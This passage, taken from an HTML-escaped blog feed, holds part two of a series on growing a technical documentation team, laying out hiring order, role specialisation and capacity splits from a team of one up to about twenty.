id=&#34;team-size-12-20&#34;&gt;&lt;strong&gt;Team Size: 12-20&lt;/strong&gt;&lt;/h3&gt;&#xA;&lt;p&gt;As you grow beyond this, you&#39;ll need to incrementally scale each effort. As the separate functions within your now-massive TechDocs team grow beyond five (5) &lt;em&gt;individual contributors (ICs)&lt;/em&gt;, it&#39;s time to promote those leads to be managers, and make sub-organizations that are independently managed.&lt;/p&gt;&#xA;&lt;p&gt;Your former &lt;strong&gt;TechDocs Manager&lt;/strong&gt; becomes a &lt;strong&gt;Director of Technical Documentation&lt;/strong&gt;. Your leads become &lt;strong&gt;Mentorship Team Manager&lt;/strong&gt;, &lt;strong&gt;Writing Team Manager&lt;/strong&gt; and &lt;strong&gt;Platform Team Manager&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;12: &lt;strong&gt;+1 mentorship; mentorship lead → manager&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;13: &lt;strong&gt;+1 platform&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;14: &lt;strong&gt;+1 writing&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;15: &lt;strong&gt;+1 platform; platform lead → manager&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;16: &lt;strong&gt;+1 writing&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;17: &lt;strong&gt;+1 writing; writing lead → manager&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;18: &lt;strong&gt;+1 IA&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;19: &lt;strong&gt;+1 mentorship&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;20: &lt;strong&gt;+1 writing&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;At a team size of twenty (20), your roles will be:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;5 mentorship ICs, 1 mentorship manager&lt;/li&gt;&#xA;&lt;li&gt;4 platform ICs, 1 platform manager&lt;/li&gt;&#xA;&lt;li&gt;5 writing ICs, 1 writing manager&lt;/li&gt;&#xA;&lt;li&gt;1 director.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h3 id=&#34;team-size-20-100&#34;&gt;&lt;strong&gt;Team Size: 20-100&lt;/strong&gt;&lt;/h3&gt;&#xA;&lt;p&gt;So, I kind of lied. I&#39;m not going to tell you exactly what to do after this point. By now you&#39;re the &lt;strong&gt;Director of Technical Documentation&lt;/strong&gt;, with four (4) teams under you. It&#39;s likely been a number of years to get here. You probably know what you need, and you know how to grow your team responsibly.&lt;/p&gt;&#xA;&lt;p&gt;That said, it&#39;s worth thinking about your &lt;em&gt;mentorship program&lt;/em&gt; and &lt;em&gt;tooling&lt;/em&gt;. TechDocs should own &lt;strong&gt;docs publishing&lt;/strong&gt;, internally and externally, as well as &lt;strong&gt;information discovery&lt;/strong&gt; and &lt;strong&gt;internal education&lt;/strong&gt;. Maybe you&#39;ve got an internal full-text search engine by now? Maybe you&#39;re running classes on writing, or just running classes on engineering topics? Maybe you&#39;re looking at dashboards of engineering writing activity? Maybe your platform engineers are making interactive documentation tools, so customers can execute examples directly from the browser against real APIs? Maybe you&#39;re getting your company policies updated so that documentation is a part of the engineering ladder for promotion? Maybe you&#39;re not just consulting with teams, but actually embedding mentors and writers full-time, or maybe just full-time-for-a-quarter?&lt;/p&gt;&#xA;&lt;p&gt;Grow your team in a way that makes you proud, and don&#39;t forget to take some time to write the next best version of this blog post. In fact, go further than that. Release your tools into open source. Send your documentarians out to speak at conferences. Do more. Be part of the community. Give back. Lead your industry, not just your team.&lt;/p&gt;&#xA;&lt;p&gt;And through all of it, never forget: &lt;strong&gt;Docs or it didn&#39;t happen!&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;h2 id=&#34;next-discussion&#34;&gt;Next: Discussion&lt;/h2&gt;&#xA;&lt;p&gt;I hope this description of how to grow a team proves valuable to you. If you do go down this path, there are a few points where you may want more clarity. Read on for a &lt;a href=&#34;/articles/scaling-a-techdocs-team-from-1-to-100-(part-3)/&#34;&gt;discussion between myself and my esteemed coworker&lt;/a&gt; Greg Poulos (&lt;a href=&#34;https://twitter.com/gregpoo&#34;&gt;@gregpoo&lt;/a&gt;). If you haven&#39;t already, you may want to check out &lt;a href=&#34;/articles/scaling-a-techdocs-team-from-1-to-100-(part-3)/&#34;&gt;Part 1: A Scalable Strategy for TechDocs&lt;/a&gt;.&lt;/p&gt;&#xA;</summary>
		<content type="html">&lt;h2 id=&#34;how-to-grow-a-techdocs-team&#34;&gt;&lt;strong&gt;How to Grow a TechDocs Team&lt;/strong&gt;&lt;/h2&gt;&#xA;&lt;p&gt;Getting a handle on technical documentation is an essential part of any software project, yet this fact seems to get forgotten by most companies during their staffing discussions. Rarely does a tech startup co-founder think to hire a technical writer as part of their initial engineering team. Many companies do not even have a single dedicated person on documentation. So, let&#39;s start there.&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;NOTE: This is the second article of a three-part series. The &lt;a href=&#34;/articles/scaling-a-techdocs-team-from-1-to-100-(part-1)/&#34;&gt;first part&lt;/a&gt; discusses strategy while the &lt;a href=&#34;/articles/scaling-a-techdocs-team-from-1-to-100-(part-3)/&#34;&gt;third part&lt;/a&gt; wraps up with some more in depth discussion.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;span class=&#34;more&#34;&gt;&lt;/span&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;team-size-0&#34;&gt;&lt;strong&gt;Team Size: 0&lt;/strong&gt;&lt;/h3&gt;&#xA;&lt;p&gt;Even without a dedicated documentarian, your company can still use the strategies outlined in this post. Instead of a formalized TechDocs team, create an &lt;em&gt;internal meta-team&lt;/em&gt; composed of docs-curious engineers, designers, managers and marketers. This meta-team should start with the &lt;em&gt;Platform and Policy&lt;/em&gt; tier, collaborating to create company-wide resources that everyone can use. A regularly-scheduled &lt;em&gt;Doc Day&lt;/em&gt; once a month (or even once a quarter) can keep the forest fires contained, even if the backlog never really seems to get any smaller. Individuals can be tasked to &lt;em&gt;&lt;a href=&#34;/tags/writethedocs/&#34; data-hyper-mention&gt;#WriteTheDocs&lt;/a&gt;&lt;/em&gt; for important projects, or assign themselves as the de facto &lt;em&gt;Docs DRI&lt;/em&gt; for their team. When working on docs, don&#39;t forget to &lt;em&gt;Put A Number On It&lt;/em&gt; to hold yourself accountable and have success stories to use when making the case for your first full-time documentarian.&lt;/p&gt;&#xA;&lt;h3 id=&#34;team-size-1-5&#34;&gt;&lt;strong&gt;Team Size: 1-5&lt;/strong&gt;&lt;/h3&gt;&#xA;&lt;p&gt;You don&#39;t know how happy I am that you&#39;re reading this section. That means that your company has taken a leap of faith, realized that &lt;strong&gt;technical documentation is crucial to the success of their product&lt;/strong&gt;, and put their money into action by hiring a dedicated &lt;em&gt;documentarian&lt;/em&gt;. &lt;strong&gt;THIS IS AWESOME!&lt;/strong&gt; (Cue &amp;quot;Everything is Awesome&amp;quot; from the &lt;em&gt;Lego Movie&lt;/em&gt; soundtrack).&lt;/p&gt;&#xA;&lt;p&gt;No one at the company is even sure what that word &lt;em&gt;documentarian&lt;/em&gt; means yet, but the hardest part is already over. So, where do you start?&lt;/p&gt;&#xA;&lt;h4 id=&#34;1-an-army-of-one&#34;&gt;&lt;strong&gt;1: An Army Of One&lt;/strong&gt;&lt;/h4&gt;&#xA;&lt;p&gt;If you&#39;re the only documentarian at your company, congratulations! You&#39;re the &lt;strong&gt;Director of Technical Documentation&lt;/strong&gt; now. Whether or not you have that title, that&#39;s your job. You are not there to write docs. You are there to run a doc-writing program.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Advice&lt;/strong&gt;: You should focus your time primarily on &lt;em&gt;Platform and Policy&lt;/em&gt; (50%), with &lt;em&gt;Mentorship&lt;/em&gt; and &lt;em&gt;&lt;a href=&#34;/tags/writethedocs/&#34; data-hyper-mention&gt;#WriteTheDocs&lt;/a&gt;&lt;/em&gt; both consuming roughly 25% of your time.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Capacity&lt;/strong&gt;:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;&lt;em&gt;Platform and Policy&lt;/em&gt;&lt;/strong&gt; (50%): 1 platform improvement per quarter, 4 per year&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;&lt;em&gt;Mentorship&lt;/em&gt;&lt;/strong&gt; (25%): 1 engagement per quarter, 4 per year&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;_&lt;a href=&#34;/tags/writethedocs_/&#34; data-hyper-mention&gt;#WriteTheDocs_&lt;/a&gt;&lt;/strong&gt; (25%): 1 major writing project per quarter, 2 per year*&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;*&lt;em&gt;If you have a &lt;a href=&#34;/tags/writethedocs/&#34; data-hyper-mention&gt;#WriteTheDocs&lt;/a&gt; deadline shorter than 6 months, cut into the Mentorship/Platform time budget to accomplish it. In general, try to avoid these large writing projects at this stage.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Justification&lt;/strong&gt;: It&#39;s very likely that your company has more engineers than it does documentarians at this point. By investing in &lt;em&gt;Platform and Policy&lt;/em&gt;, you can activate your engineers to be perfectly adequate documentarians in their spare time. Your &lt;em&gt;Mentorship&lt;/em&gt; efforts will help them develop a better culture. And when it&#39;s really important, for about a quarter every year, you can roll up your sleeves to &lt;em&gt;&lt;a href=&#34;/tags/writethedocs/&#34; data-hyper-mention&gt;#WriteTheDocs&lt;/a&gt;&lt;/em&gt; and get to the wordsmithing you love to do.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Growing&lt;/strong&gt;: You know that your company needs more than one documentarian, but you need to prove it. You&#39;re the expert and also the experiment that they are using to decide if they should invest further or not. Pay close attention to your &lt;em&gt;metrics&lt;/em&gt; and make sure that you can &lt;em&gt;prove the ROI&lt;/em&gt; of your work. Those stories will support you when you make your case to hire the next one, two, ten or twenty documentarians.&lt;/p&gt;&#xA;&lt;h4 id=&#34;2-two-minds-are-better-than-one&#34;&gt;&lt;strong&gt;2: Two Minds Are Better Than One&lt;/strong&gt;&lt;/h4&gt;&#xA;&lt;p&gt;You did it! You proved your value, asked for more help, and they said that most magic of words: &lt;strong&gt;YES!&lt;/strong&gt;. So what should this new person be doing? More of the same? Should you hire for someone who is a generalist, more of a writer, or more of an engineer? Well, it depends.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Advice&lt;/strong&gt;: A team of two still isn&#39;t enough to specialize. When hiring for this second role, you&#39;ll need to take a good look at yourself and at your company and try to figure out where your strengths and weaknesses are. Hire someone who is &lt;strong&gt;&lt;em&gt;strong where you are weak&lt;/em&gt;&lt;/strong&gt;. If you have a solid engineering background, or a engineering staff who is willing to help build out your docs platform tooling, then there&#39;s no need to hire someone with specialized engineering skills. You might do better investing in someone with a strong writing background, or vice-versa.&lt;/p&gt;&#xA;&lt;p&gt;Either way, at this stage you will still be focusing on &lt;em&gt;Platform and Policy&lt;/em&gt; and increasing your capacity for &lt;em&gt;Mentorship&lt;/em&gt;. It still doesn&#39;t make sense to spend any additional individual contribution time on &lt;em&gt;&lt;a href=&#34;/tags/writethedocs/&#34; data-hyper-mention&gt;#WriteTheDocs&lt;/a&gt;&lt;/em&gt;, but having two people will double your output. One person should take the role of &lt;strong&gt;Mentorship Lead&lt;/strong&gt; and the other as &lt;strong&gt;Platform Lead&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Capacity&lt;/strong&gt;:&lt;/p&gt;&#xA;&lt;p&gt;Overall:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Platform and Policy&lt;/strong&gt; (37.5%): 1.5 major improvement to the platform per quarter, 6 per year&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Mentorship&lt;/strong&gt; (37.5%): 3 engagements per quarter, 12 per year&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;_&lt;a href=&#34;/tags/writethedocs_/&#34; data-hyper-mention&gt;#WriteTheDocs_&lt;/a&gt;&lt;/strong&gt; (25%): 1 major writing project per quarter, 4 per year&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Person 1: Mentorship Lead&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;&lt;em&gt;Mentorship&lt;/em&gt;&lt;/strong&gt; (50%): 2 engagements per quarter, 8 per year&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Platform and Policy&lt;/strong&gt; (25%): .5 major improvement to the platform per quarter, 2 per year&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;_&lt;a href=&#34;/tags/writethedocs_/&#34; data-hyper-mention&gt;#WriteTheDocs_&lt;/a&gt;&lt;/strong&gt; (25%): 0.5 major writing projects per quarter, 2 per year*&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Person 2: Platform Lead&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;&lt;em&gt;Platform and Policy&lt;/em&gt;&lt;/strong&gt; (50%): 1 major improvement to the platform per quarter, 4 per year&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;&lt;em&gt;Mentorship&lt;/em&gt;&lt;/strong&gt; (25%): 1 engagement per quarter, 4 per year&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;_&lt;a href=&#34;/tags/writethedocs_/&#34; data-hyper-mention&gt;#WriteTheDocs_&lt;/a&gt;&lt;/strong&gt; (25%): 0.5 major writing projects per quarter, 2 per year*&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;*&lt;em&gt;If you have a &lt;a href=&#34;/tags/writethedocs/&#34; data-hyper-mention&gt;#WriteTheDocs&lt;/a&gt; deadline shorter than 6 months, cut into the Mentorship/Platform time budget to accomplish it. In general, try to avoid these large writing projects at this stage.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Justification&lt;/strong&gt;: You&#39;re still too small to make any kind of a real impact as individual contributors. Focusing on &lt;strong&gt;mentoring engineers to be better writers&lt;/strong&gt; and building out your platform with &lt;strong&gt;&lt;em&gt;more guidance docs&lt;/em&gt;&lt;/strong&gt; is the best way to spend your resources.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Growing&lt;/strong&gt;: Pretty soon someone is going to ask, &amp;quot;Why do we have two tech-writers on staff, but they spend very little of their time actually writing docs?&amp;quot;...&lt;/p&gt;&#xA;&lt;h4 id=&#34;3-threes-company-too&#34;&gt;&lt;strong&gt;3: Three&#39;s Company Too&lt;/strong&gt;&lt;/h4&gt;&#xA;&lt;p&gt;Great news! Your &lt;em&gt;dynamic duo&lt;/em&gt; is doing a great job and despite some lack of understanding of &lt;em&gt;exactly what you do here&lt;/em&gt; the company has decided to give you another person. I think you know by now what this person should be doing: &lt;em&gt;focus on writing&lt;/em&gt;!&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Advice:&lt;/strong&gt; As usual, you want to hire for your weaknesses, and your weakness at this stage is the &lt;strong&gt;lack of a dedicated writer&lt;/strong&gt; for important projects. You need a &lt;strong&gt;Writing Lead&lt;/strong&gt;. Your first two folks should keep on keeping on exactly as they have been.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Capacity&lt;/strong&gt;:&lt;/p&gt;&#xA;&lt;p&gt;Overall:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Platform and Policy&lt;/strong&gt; (33.3%): 2 major improvement to the platform per quarter, 8 per year&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Mentorship&lt;/strong&gt; (33.3%): 4 engagements per quarter, 16 per year&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;_&lt;a href=&#34;/tags/writethedocs_/&#34; data-hyper-mention&gt;#WriteTheDocs_&lt;/a&gt;&lt;/strong&gt; (33.3%): 2 major writing projects per quarter, 8 per year&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Person 1: Mentorship Lead&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;&lt;em&gt;Mentorship&lt;/em&gt;&lt;/strong&gt; (50%): 2 engagements per quarter, 8 per year&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Platform and Policy&lt;/strong&gt; (25%): .5 major improvement to the platform per quarter, 2 per year&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;_&lt;a href=&#34;/tags/writethedocs_/&#34; data-hyper-mention&gt;#WriteTheDocs_&lt;/a&gt;&lt;/strong&gt; (25%): 0.5 major writing projects per quarter, 2 per year&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Person 2: Platform Lead&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;&lt;em&gt;Platform and Policy&lt;/em&gt;&lt;/strong&gt; (50%): 1 major improvement to the platform per quarter, 4 per year&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;&lt;em&gt;Mentorship&lt;/em&gt;&lt;/strong&gt; (25%): 1 engagement per quarter, 4 per year&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;_&lt;a href=&#34;/tags/writethedocs_/&#34; data-hyper-mention&gt;#WriteTheDocs_&lt;/a&gt;&lt;/strong&gt; (25%): 0.5 major writing projects per quarter, 2 per year&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Person 3: Writing Lead&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;_&lt;a href=&#34;/tags/writethedocs_/&#34; data-hyper-mention&gt;#WriteTheDocs_&lt;/a&gt;&lt;/strong&gt; (50%): 1 major writing project per quarter, 4 per year*&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Platform and Policy&lt;/strong&gt; (25%): .5 major improvement to the platform per quarter, 2 per year&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Mentorship&lt;/strong&gt; (25%): 1 engagement per quarter, 4 per year&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;*&lt;em&gt;Now is the time to take on those large writing projects you&#39;ve been deferring.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;h4 id=&#34;4-5-do-more-with-less&#34;&gt;&lt;strong&gt;4, 5: Do More With Less&lt;/strong&gt;&lt;/h4&gt;&#xA;&lt;p&gt;Grow that team!! Your next two hires should follow the same priority schedule as before.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Advice&lt;/strong&gt;: #4 should be a &lt;strong&gt;TechDocs Mentor&lt;/strong&gt;, focusing on more &lt;em&gt;Mentorship&lt;/em&gt;, and #5 should be a dedicated &lt;strong&gt;Platform Engineer&lt;/strong&gt; for your growing body of policies and tools.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Capacity&lt;/strong&gt;:&lt;/p&gt;&#xA;&lt;p&gt;*&lt;em&gt;NOTE: Your three leads will keep going as before, so we won&#39;t bother repeating that breakdown here.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;Overall:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Platform and Policy&lt;/strong&gt; (33.3%): 4 major improvements to the platform per quarter,  per year&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Mentorship&lt;/strong&gt; (33.3%): 8 engagements per quarter, 32 per year&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;_&lt;a href=&#34;/tags/writethedocs_/&#34; data-hyper-mention&gt;#WriteTheDocs_&lt;/a&gt;&lt;/strong&gt; (33.3%): 2 major writing projects per quarter, 8 per year&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Person 4: TechDocs Mentor&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;&lt;em&gt;Mentorship&lt;/em&gt;&lt;/strong&gt; (100%): 4 engagements per quarter, 16 per year&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Person 5: Platform Engineer&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;&lt;em&gt;Platform and Policy&lt;/em&gt;&lt;/strong&gt; (100%): 2 major improvements to the platform per quarter, 8 per year&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;&lt;strong&gt;Justification&lt;/strong&gt;: By the time you&#39;re a team of five (5), you&#39;ve probably got some bespoke tooling, and need a dedicated engineer to maintain, operate, and develop it. Mentorship is still your best bet, and doing 32 engagements per year allows you to service a medium-sized engineering organization. If we assume that each engineering team is about five (5) people on average, that means your team of five (5) is mentoring a group of ~160 engineers every year. If that&#39;s all the engineers, great! If that&#39;s 50%, that&#39;s still pretty good! Your ratio makes a big difference here.&lt;/p&gt;&#xA;&lt;p&gt;If you&#39;re like us at Twitter, with a 750:1 ratio, this is still not really enough, as that&#39;s only about 10% of the engineers who are receiving mentorship each year. Hopefully they will talk to the other 90%, but we can&#39;t really rely on that, now can we?&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Growing&lt;/strong&gt;: With a team of five (5) people, you&#39;re probably going to notice a major vacuum in leadership. Your next hire should be someone to function as a dedicated manager for this growing team.&lt;/p&gt;&#xA;&lt;h3 id=&#34;team-size-6-11&#34;&gt;&lt;strong&gt;Team Size: 6-11&lt;/strong&gt;&lt;/h3&gt;&#xA;&lt;p&gt;Now that we&#39;ve seen what 0-5 looks like, in a lot of detail, the next tier of growth should be fairly intuitive. I&#39;ll just sketch out the basics:&lt;/p&gt;&#xA;&lt;h4 id=&#34;6-coordination-and-management&#34;&gt;&lt;strong&gt;6: Coordination and Management&lt;/strong&gt;&lt;/h4&gt;&#xA;&lt;p&gt;For any team of five (5) people or more, you &lt;strong&gt;need&lt;/strong&gt; a dedicated manager. It&#39;s too much overhead for the leads to constantly explain the direction and purpose, and stand-ups are getting a little chaotic because your &lt;strong&gt;Tech Docs Mentor&lt;/strong&gt; spends a lot of time explaining the needs of the numerous teams they are working with, while your &lt;strong&gt;Platform Engineer&lt;/strong&gt; gets tediously nerdy about the details of why your docs publishing platform crashed (again) last week. Someone needs to get this crew on the same page, and needs to explain this growing expenditure to the higher-ups, and field in-bound requests from other teams and organizations for your help. Your &lt;strong&gt;TechDocs Manager&lt;/strong&gt; will do all of those functions without batting an eye, and still remember everyone&#39;s birthday, and plan regular off-sites to keep everyone glowing with happiness, by positively reinforcing your successes... They can also spend their time focusing on hiring the next 5 to 95 people that will make up your organization.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;7 to 10: Grow and Specialize&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;The next four (4) hires should look something like this:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;7: &lt;strong&gt;+1 mentorship&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;8: &lt;strong&gt;+1 writing&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;9: &lt;strong&gt;+1 platform&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;10: &lt;strong&gt;+1 mentorship&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;At a team size of ten (10), your roles will be: 4 mentorship, 3 platform, 2 writing, 1 manager.&lt;/p&gt;&#xA;&lt;p&gt;You&#39;ll notice a small shift in priorities here, with less emphasis on platform and more on mentorship and writing. You have your first &lt;em&gt;dedicated&lt;/em&gt; &lt;strong&gt;Tech Writer&lt;/strong&gt; at #8, cranking out eight (8) projects per year by themselves. The beauty of scalable tools is that they need less and less investment over time, not more, so your two (2) dedicated &lt;strong&gt;Platform Engineers&lt;/strong&gt;, and their lead should be able to keep up fine. The cross-functional leads will &lt;em&gt;specialize more&lt;/em&gt;, and stop trying to do everything at the same time, focusing just on their niche.&lt;/p&gt;&#xA;&lt;h4 id=&#34;11-we-need-some-structure&#34;&gt;&lt;strong&gt;11: We Need Some Structure&lt;/strong&gt;&lt;/h4&gt;&#xA;&lt;p&gt;At this point we have three (3) full time mentors, with a lead, two (2) full time platform engineers, with a lead, and one (1) full time writer, with a lead, and a manager overseeing all of this glorious documentation activity.&lt;/p&gt;&#xA;&lt;p&gt;Should we continue like this &lt;em&gt;ad infinitum&lt;/em&gt;? Is there something else we are missing?&lt;/p&gt;&#xA;&lt;p&gt;There is. Your writers are cranking out 12 projects every year, and your mentors are talking to 56 teams a year (~300 engineers). Those engineering teams are probably writing at least one documentation project for each team, maybe more. So you&#39;re seeing a growth in docs of about 60-70 projects a year. You&#39;ve got good tooling for search, but it&#39;s still hard to dig through this massive corpus. You need someone to &lt;strong&gt;&lt;em&gt;organize the universe&lt;/em&gt;&lt;/strong&gt;. You need an &lt;strong&gt;Information Architect&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Your #11 hire should be someone who works entirely on &lt;em&gt;Information Architecture (IA)&lt;/em&gt;. This person will create vertical pillars through your docs focusing and segmenting the readers, making sure they can easily &lt;em&gt;browse&lt;/em&gt; their way to success, in addition to &lt;em&gt;search&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;h3 id=&#34;team-size-12-20&#34;&gt;&lt;strong&gt;Team Size: 12-20&lt;/strong&gt;&lt;/h3&gt;&#xA;&lt;p&gt;As you grow beyond this, you&#39;ll need to incrementally scale each effort. As the separate functions within your now-massive TechDocs team grow beyond five (5) &lt;em&gt;individual contributors (ICs)&lt;/em&gt;, it&#39;s time to promote those leads to be managers, and make sub-organizations that are independently managed.&lt;/p&gt;&#xA;&lt;p&gt;Your former &lt;strong&gt;TechDocs Manager&lt;/strong&gt; becomes a &lt;strong&gt;Director of Technical Documentation&lt;/strong&gt;. Your leads become &lt;strong&gt;Mentorship Team Manager&lt;/strong&gt;, &lt;strong&gt;Writing Team Manager&lt;/strong&gt; and &lt;strong&gt;Platform Team Manager&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;12: &lt;strong&gt;+1 mentorship; mentorship lead → manager&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;13: &lt;strong&gt;+1 platform&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;14: &lt;strong&gt;+1 writing&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;15: &lt;strong&gt;+1 platform; platform lead → manager&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;16: &lt;strong&gt;+1 writing&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;17: &lt;strong&gt;+1 writing; writing lead → manager&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;18: &lt;strong&gt;+1 IA&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;19: &lt;strong&gt;+1 mentorship&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;20: &lt;strong&gt;+1 writing&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;At a team size of twenty (20), your roles will be:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;5 mentorship ICs, 1 mentorship manager&lt;/li&gt;&#xA;&lt;li&gt;4 platform ICs, 1 platform manager&lt;/li&gt;&#xA;&lt;li&gt;5 writing ICs, 1 writing manager&lt;/li&gt;&#xA;&lt;li&gt;1 director.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h3 id=&#34;team-size-20-100&#34;&gt;&lt;strong&gt;Team Size: 20-100&lt;/strong&gt;&lt;/h3&gt;&#xA;&lt;p&gt;So, I kind of lied. I&#39;m not going to tell you exactly what to do after this point. By now you&#39;re the &lt;strong&gt;Director of Technical Documentation&lt;/strong&gt;, with four (4) teams under you. It&#39;s likely been a number of years to get here. You probably know what you need, and you know how to grow your team responsibly.&lt;/p&gt;&#xA;&lt;p&gt;That said, it&#39;s worth thinking about your &lt;em&gt;mentorship program&lt;/em&gt; and &lt;em&gt;tooling&lt;/em&gt;. TechDocs should own &lt;strong&gt;docs publishing&lt;/strong&gt;, internally and externally, as well as &lt;strong&gt;information discovery&lt;/strong&gt; and &lt;strong&gt;internal education&lt;/strong&gt;. Maybe you&#39;ve got an internal full-text search engine by now? Maybe you&#39;re running classes on writing, or just running classes on engineering topics? Maybe you&#39;re looking at dashboards of engineering writing activity? Maybe your platform engineers are making interactive documentation tools, so customers can execute examples directly from the browser against real APIs? Maybe you&#39;re getting your company policies updated so that documentation is a part of the engineering ladder for promotion? Maybe you&#39;re not just consulting with teams, but actually embedding mentors and writers full-time, or maybe just full-time-for-a-quarter?&lt;/p&gt;&#xA;&lt;p&gt;Grow your team in a way that makes you proud, and don&#39;t forget to take some time to write the next best version of this blog post. In fact, go further than that. Release your tools into open source. Send your documentarians out to speak at conferences. Do more. Be part of the community. Give back. Lead your industry, not just your team.&lt;/p&gt;&#xA;&lt;p&gt;And through all of it, never forget: &lt;strong&gt;Docs or it didn&#39;t happen!&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;h2 id=&#34;next-discussion&#34;&gt;Next: Discussion&lt;/h2&gt;&#xA;&lt;p&gt;I hope this description of how to grow a team proves valuable to you. If you do go down this path, there are a few points where you may want more clarity. Read on for 